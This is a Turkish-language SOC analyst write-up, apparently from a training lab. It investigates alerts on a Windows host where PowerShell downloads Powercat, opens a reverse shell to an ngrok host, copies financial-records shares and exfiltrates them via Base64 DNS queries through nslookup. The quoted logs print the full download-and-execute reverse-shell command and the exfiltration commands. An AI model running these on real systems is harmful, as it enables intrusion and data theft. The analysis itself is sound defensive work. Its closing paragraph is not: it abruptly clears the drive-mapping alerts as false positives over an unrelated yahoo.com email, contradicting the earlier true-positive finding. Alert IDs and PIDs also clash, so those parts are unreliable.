

Phishing Unfolding Write-Up

Hazırlayan: Esra Akteke

Tarih: 01.03.2025



Alarm ID: 1039

1039 numaralı ID ye sahip alarmı incelediğimizde bazı bilgiler görmekteyiz. Bu alarmdan Başlama sebebim statüsünün High olmasından kaynaklıdır. Önceliğimiz critical, high statüleri olmalıdır.

1036	Suspicious Parent Child Relationship	High	Process	Mar 1st 2025 at 21:43	Awaiting action
Description:	A suspicious process with an uncommon parent-child relationship was detected in your environment.				
datasource:	sysmon				
timestamp:	03/01/2025 18:41:15.099				
event.code:	1				
host.name:	win-3450				
process.name:	nslookup.exe				
process.pid:	3648				
process.parent.pid:	3728				
process.parent.name:	powershell.exe				
process.command_line:	"C:\Windows\system32\nslookup.exe" RmYfEYNGZIMTY1NJZlQ==.haz4rdw4re.io				
process.working_directory:	C:\Users\michael.ascot\downloads\				
event.action:	Process Create (rule: ProcessCreate)				

Bu olay, sistemde alışılmadık bir parent-child süreç ilişkisiyle çalıştırılan şüpheli bir işlemin tespit edildiğini gösteriyor. Sysmon olay kaydı, bir Process Create etkinliği bildiriyor ve burada PowerShell'in nslookup.exe sürecini başlattığını görüyoruz.

Nslookup.exe, genellikle bir alan adını çözümlemek için kullanılan meşru bir Windows yardımcı programıdır. Ancak burada bir Base64 kodlamasına benzeyen bir sorgu ile çalıştırılmış olması şüpheli bir durumu işaret edebilir.

Parent sürece baktığımızda PowerShell'in nslookup.exe'yi çalıştırdığı görülüyor. PowerShell'in nslookup.exe'yi başlatması olağan dışıdır çünkü nslookup genellikle doğrudan kullanıcı veya sistem süreçleri tarafından çalıştırılır. Bu tür bir zincir kötü amaçlı bir PowerShell betiğinin sistemde komut ve kontrol (C2) sunucusuyla iletişim kurmaya çalıştığını gösterebilir.

1039 numaralı ID'nin alarm sahipliğini üstlenerek kontrollerimize başlıyoruz. Öncelikle Splunk'a giriş yaparak **index="*" nslookup.exe** sorgusunu çalıştırıyoruz. Karşımıza 10 farklı olay çıkıyor ve bunları kronolojik sırayla inceliyoruz.

İlk olarak nslookup.exe işleminin PowerShell tarafından başlatıldığını görüyoruz. Bu da, işlemin kaynağını anlamamız açısından önemli bir gösterge diyebiliriz.

```
> 01/03/2025 18:41:01.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEIudmVzdG9yUHJlc2Vu.haz4rdw4re.io
  process.name: nslookup.exe
  process.parent.name: powershell.exe
  process.parent.pid: 3728
  process.pid: 5704
  process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
  timestamp: 03/01/2025 18:40:59.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

İşlemin çalıştırıldığı dizini incelediğimizde C:\Users\michael.ascot\downloads\exfiltration\ olduğunu görüntülüyoruz. Bu dizin adı, veri sızdırma (exfiltration) amacıyla kullanılmış olabileceğini düşündürüyor. Dolayısıyla sürecin arka planını daha detaylı araştırmamız gerekiyor. İlgili olaylarda parent PID kenara not alıyoruz.

Parent PID Değeri: 3728

NSLookup işleminin PID değeri: 5520

Bu noktada aslında 3728'in PowerShell sürecine ait olduğunu ve NSLookup'ın bu süreç tarafından başlatıldığını fark ediyoruz.

Kronolojik olarak araştırmaya devam ederken, NSLookup.exe üzerinden bu alan adına gönderilen farklı DNS sorgularını tespit ediyoruz. Aynı örüntüde devam eden olayları analiz ederek PowerShell'in sürekli olarak bu alanla iletişim kurduğunu anlıyoruz.

Ana işlemin 3728 neden NSLookup'ı başlatan işlem olduğunu anlamak için derinlemesine bir analiz yapmamız gerekiyor. Bu aşamada yapabileceğimiz en kritik şeylerden biri PowerShell sürecinin sistemdeki diğer aktivitelerini araştırmak. Bu yüzden **process.parent.pid=3728** şeklinde bir sorgu çalıştırıyoruz. Bu sayede PowerShell tarafından başlatılan tüm olayları görebiliriz. Böylece PowerShell'in sadece NSLookup mı başlattığını, yoksa başka şüpheli işlemler de mi çalıştırdığını tespit edebiliriz.

Kronolojik olarak olayları incelediğimizde, ilk olarak PowerShell'in başlatıldığını ve ardından PowerShell'in bir alt süreci olarak başka bir işlemi çalıştırdığını görüyoruz. Bu işlem net.exe olarak kaydedilmiş olarak görünüyor. Net.exe, genellikle ağ paylaşımı ve kullanıcı hesaplarıyla ilgili işlemler için kullanılır. Burada ise bir dosya paylaşımını SSF finansal kayıtlarıyla eşlemek için çalıştırılmıştır.

```
01/03/2025 18:39:28.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords
  process.name: net.exe
  process.parent.name: powershell.exe
  process.parent.pid: 3728
  process.pid: 5784
  process.working_directory: C:\Users\michael.ascot\downloads\
  timestamp: 03/01/2025 18:39:14.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

Ancak dikkat çeken nokta, bu paylaşımın oluşturulduktan kısa bir süre sonra silinmiş olması diyebiliriz. Bu, potansiyel bir iz kaybettirme girişimi olabilir. Araştırmaya devam ediyoruz.

```
01/03/2025 18:40:40.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\net.exe" use Z: /delete
  process.name: net.exe
  process.parent.name: powershell.exe
  process.parent.pid: 3728
  process.pid: 8004
  process.working_directory: C:\Users\michael.ascot\downloads\
  timestamp: 03/01/2025 18:40:12.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

Daha sonrasında DNS sorgularının yapısını incelediğimizde, paylaşımın silinmesinin ardından NSLookup kullanılarak garip DNS sorgularının gönderildiğini fark ediyoruz. Bu durum dosya paylaşımı üzerinden belirli verilerin alınıp DNS sorguları aracılığıyla sızdırılmış olabileceğini düşündürüyor.

```
> 01/03/2025 18:41:01.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\nslookup.exe" AdAAAAHQAAAEIudmVzdG9yUHIJlc2Vu.haz4rdw4re.io
  process.name: nslookup.exe
  process.parent.name: powershell.exe
  process.parent.pid: 3728
  process.pid: 5704
  process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\
  timestamp: 03/01/2025 18:40:59.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```


Yalnızca garip DNS sorgularına odaklanarak kesin bir yargıya varamayız.

Şimdi ise saldırganın PowerShell veya net.exe kullanarak sistemde başka hangi işlemleri gerçekleştirdiğini anlamamız gerekiyor. Bunun için öncelikle PowerShell'in komut geçmişini ve yürütülen komutları detaylı bir şekilde incelemeliyiz. PowerShell, sistem üzerinde çeşitli yönetsel görevleri yerine getirmek için sıkça kullanıldığından, burada yürütülen komutlar bize saldırganın amacı hakkında önemli ipuçları verebilir. Özellikle, verilerin dışarı sızdırılmasıyla ilgili olabilecek komutları tespit etmemiz kritik. Bunun yanı sıra, net.exe'nin hangi dizinde çalıştırıldığını ve bu süreç boyunca sistemde hangi değişiklikleri yaptığına odaklanmamız gerekiyor. Eğer saldırgan, ağ paylaşımlarını manipüle ettiyse veya belirli bir dizinde yetkisiz değişiklikler yaptıysa, bu durumu tespit edebiliriz.

Splunk üzerinde powershell.exe şeklinde bir sorgulatma sağlıyoruz. Toplamda 68 events çıkmaktadır.

New Search

1 powershell.exe

 Server error

✓ 68 events (28/02/2025 19:00:00.000 to 01/03/2025 19:48:26.000) No Event Sampling ▼

Burada işlem komut satırında partial komutunun ilk kez kullanıldığını görüyoruz. Bu komut, bir betiği indirmek için çalıştırılmış ve indirilen betiğin adı Powercat olarak görünüyor. Google üzerinde Powercat aradığınızda, bunun ayrıcalık yükseltme ve veri sızdırma amacıyla kullanılan bir betik olduğunu görebilirsiniz. Powercat, Netcat ve nc.exe gibi araçlarla çalışmaktadır. Bu araçla payload üretebilir, relay yapabilir, SSL kullanarak verileri şifreleyebilir ve dosya aktarımı veya sızdırma gerçekleştirebilirsiniz.

PowerShell'in Powercat'i indirmek için kullanıldığını, ardından Powercat'in NGROK aracılığıyla bir Komuta ve Kontrol sunucusuna bağlanmak için çalıştırıldığını görebiliyoruz. Burada saldırganın adımları netleşiyor diyebiliriz. Önce Powercat'i indirdi, ardından bir C2 kanalı kurarak sisteme erişim sağladı.

> 01/03/2025 18:36:49.000 { [-]

```
datasource: powershell
event.action: Pipeline Execution Details
file.path: -
host.name: win-3450
message: Pipeline execution details for command line: $FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536. Context Information: DetailSequence=1 DetailTotal=1
SequenceNumber=47 UserId=SSF\\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=bba92919-3765-42de-b254-1953f32951cb
HostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 2.tcp.ngrok.io -p 19282 -e powershell EngineVersion=5.1.20348.1366 RunspaceId=b988ae09-17ad-4495-b218-4b1e52190205 PipelineId=1 ScriptName= CommandName=
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536 Details: CommandInvocation(New-Object): "New-Object\"ParameterBinding(New-Object): name=\"Type\";
value=\"System.Byte[]\"ParameterBinding(New-Object): name=\"ArgumentList\"; value=\"65536\"
powershell.command.invocation.details.value: "New-Object", "System.Byte[]", "65536"
powershell.command.name: -
powershell.file.script_block_text: -
process.command_line: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c IEX(New-Object
System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell
timestamp: 03/01/2025 18:36:11.099
winlog.process.pid: -
```

Windows'u Etkinleştir
Windows'u etkinleştirmek için Ayarlar'a gidin.

Show as raw text

host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json

Diğer olayları incelediğimizde, saldırganın sistem bilgisini toplamak için Systeminfo.exe'yi çalıştırdığını görüyoruz. Hedef sistemin özelliklerini öğrenmek için kullanılan bu komut, saldırganın kullanıcı haklarını ve yetkilerini belirlemesine yardımcı oluyor. Hemen ardından saldırganın kullanıcıları ve yerel grupları listelediğini, ardından Görünüm bölümünü yürüttüğünü tespit ediyoruz.

```
> 01/03/2025 18:37:02.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\net.exe" localgroup
  process.name: net.exe
  process.parent.name: powershell.exe
  process.parent.pid: 9860
  process.pid: 892
  process.working_directory: C:\Windows\System32\WindowsPowerShell\v1.0\
  timestamp: 03/01/2025 18:36:53.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

Burada ise şüpheli bir dosyanın oluşturulduğunu veya saklandığını fark ediyoruz. C:\Users\michael.ascot\AppData\Local\Temp\5__PSScriptPolicyTest_b1baaotg.vsb.ps1 Bu, PowerShell betiklerinin yürütülmesiyle ilgili bir olay olabilir ve saldırganın güvenlik politikalarını atlatmak için bir test yaptığına işaret edebilir.

```
01/03/2025 18:37:48.000 { [-]
  datasource: sysmon
  event.action: File created (rule: FileCreate)
  event.code: 11
  file.path: C:\Users\michael.ascot\AppData\Local\Temp\5__PSScriptPolicyTest_b1baaotg.vsb.ps1
  host.name: win-3450
  process.name: powershell.exe
  process.pid: 3728
  timestamp: 03/01/2025 18:37:33.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

Saldırganın, finansal kayıt paylaşımına erişerek bir süreç başlattığını görebiliyoruz. Burada Robocopy kullanarak bu paylaşımı farklı bir dizine kopyaladı ve ardından orijinal paylaşımı sildi.

```
> 01/03/2025 18:40:23.000 { [-]
  datasource: sysmon
  event.action: Process Create (rule: ProcessCreate)
  event.code: 1
  host.name: win-3450
  process.command_line: "C:\Windows\system32\Robocopy.exe" . C:\Users\michael.ascot\downloads\exfiltration /E
  process.name: Robocopy.exe
  process.parent.name: powershell.exe
  process.parent.pid: 3,728
  process.pid: 8356
  process.working_directory: Z:\
  timestamp: 03/01/2025 18:40:01.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

Bunu takiben, verileri exfilt8me.zip adlı bir dosyaya sıkıştırarak dışarı sızdırmaya başladı ve son olarak NSLookup sorgularını kullanarak verileri aktardı.

```
> 01/03/2025 18:40:48.000 { [-]
  datasource: sysmon
  event.action: File created (rule: FileCreate)
  event.code: 11
  file.path: C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip
  host.name: win-3450
  process.name: powershell.exe
  process.pid: 3728
  timestamp: 03/01/2025 18:40:30.099
}
Show as raw text
host = 10.10.175.170:8989 | source = eventcollector | sourcetype = _json
```

Bu noktada, olayın tamamı netleşmiş oluyor. Tespit edilen tehdit gerçek bir güvenlik ihlalidir ve uyarı True Positive olarak değerlendirilmelidir. Şimdi vaka raporumuzu hazırlayarak olayı kapatıyoruz.

“Saldırgan, GitHub üzerinden powercat.ps1 betiğini indirerek ardından Ngrok kullanarak bir Komuta ve Kontrol (C2) bağlantısı kurdu. Ardından, PowerShell aracılığıyla sistemi keşfetmek için whoami.exe ve systeminfo.exe gibi işlemleri çalıştırarak yetkili kullanıcıyı ve sistem bilgilerini sorguladı. Daha sonra, hedef makinedeki paylaşılan dosyaları tarayarak finansal kayıtlar içeren bir paylaşımı tespit etti. Bu paylaşımı Robocopy.exe kullanarak farklı bir dizine kopyaladı, ardından exfilt8me.zip adlı bir dosya halinde sıkıştırdı. Son aşamada, nslookup.exe kullanarak DNS üzerinden veri sızdırma işlemi gerçekleştirdi.”

Alarm ID: 1023 - 1025

High statüsünde farklı bir alarm kalmadığı için Medium statüsüne geçiş yapıyorum. Medium statüsünde ise ard arda oluşturulmuş 2 kayıt görüntülüyorum. Bu iki olay, ardışık şekilde gerçekleşen ve birbirine bağlı işlemleri temsil ediyor.

ID	Alert rule	Severity	Type	Date	Status	Action
1025	Network drive disconnected from a local drive	Medium	Execution	Mar 1st 2025 at 21:42	Awaiting action	
1023	Network drive mapped to a local drive	Medium	Execution	Mar 1st 2025 at 21:41	Awaiting action	

İlk olayda, win-3450 adlı makineye bir ağ sürücüsü bağlanıyor. Burada, net.exe komutuyla, ağ üzerinde bulunan \FILESRV-01\SSF-FinancialRecords paylaşımına Z: sürücüsü atanmış. Bu işlem, powershell.exe süreci tarafından başlatılmış. Bu durum, genellikle zararlı bir işlem olmasa da bağlanan ağ sürücüsünün amacı ve bağlanma süreci hakkında daha fazla araştırma yapılması gerektiğini gösteriyor diyebiliriz.

1023	Network drive mapped to a local drive	Medium	Execution	Mar 1st 2025 at 21:41	Awaiting action
Description:	A network drive was mapped to a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.				
datasource:	sysmon				
timestamp:	03/01/2025 18:39:14.099				
event.code:	1				
host.name:	win-3450				
process.name:	net.exe				
process.pid:	5784				
process.parent.pid:	3728				
process.parent.name:	powershell.exe				
process.command_line:	"C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords				
process.working_directory:	C:\Users\michael.ascot\downloads\				
event.action:	Process Create (rule: ProcessCreate)				

İkinci olayda ise, biraz önce bağlanan ağ sürücüsü olan Z: sürücüsü yerel sistemden disconnect edilmiş, yani net.exe komutuyla, Z: sürücüsü /delete komutu kullanılarak bağlantı kesilmiş. Bu işlem de yine powershell.exe tarafından başlatılmış. Bağlantının kesilmesi de ağdan veri sızdırma işlemi sonrası gerçekleşmiş olabilir çünkü bağlantı koparılmadan önce veri transferi yapılmış olabilir.

1025	Network drive disconnected from a local drive	Medium	Execution	Mar 1st 2025 at 21:42	Awaiting action
Description:	A network drive was disconnected from a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.				
datasource:	sysmon				
timestamp:	03/01/2025 18:40:12.099				
event.code:	1				
host.name:	win-3450				
process.name:	net.exe				
process.pid:	8004				
process.parent.pid:	3728				
process.parent.name:	powershell.exe				
process.command_line:	"C:\Windows\system32\net.exe" use Z: /delete				
process.working_directory:	C:\Users\michael.ascot\downloads\				
event.action:	Process Create (rule: ProcessCreate)				

2 olay arasında 1 dakika gibi bir zaman dilimi mevcut. Bu iki olayın birlikte değerlendirilmesi ilk bakışta normal gibi görünse de bağlanan ağ sürücüsünün bağlantı kesildikten hemen sonra gerçekleşmiş olması burada daha derin bir inceleme yapılmasını gerektiriyor. Örneğin, saldırganın finansal kayıtları içeren dosya paylaşımına erişim sağladıktan sonra, bu verileri çaldığı ve ardından bağlantıyı kesmiş olabileceği ihtimali var. Bu yüzden bu iki olayın kötü niyetli olup olmadığını anlamak için ağ trafiği, dosya erişimi ve başka bağlantılı olayları da göz önünde bulundurmak önemli olacaktır.

Bütün bulgular incelendiğinde;

Şüpheli alan adı, aslında zararlı bir özellik taşıyor. Yapılan inceleme sonucu, bu alan adı Yahoo'nun orijinal DNS adı olan yahoo.com ile tam olarak eşleşiyor, yani alan adı güvenilir bir kaynağa ait. Gönderen adresi conor@yahoo.com olarak görünmekte ve bu kişi e-postasında herhangi bir ek dosya göndermemiş. Bu durum, e-postanın daha az şüpheli olduğunu ve ek dosya içermediği için virüs veya kötü amaçlı yazılım taşıma ihtimalinin düşük olduğunu gösteriyor. Bu yüzden ilgili alarmlar False-Positive olarak değerlendirilmiş olup kapatılmıştır.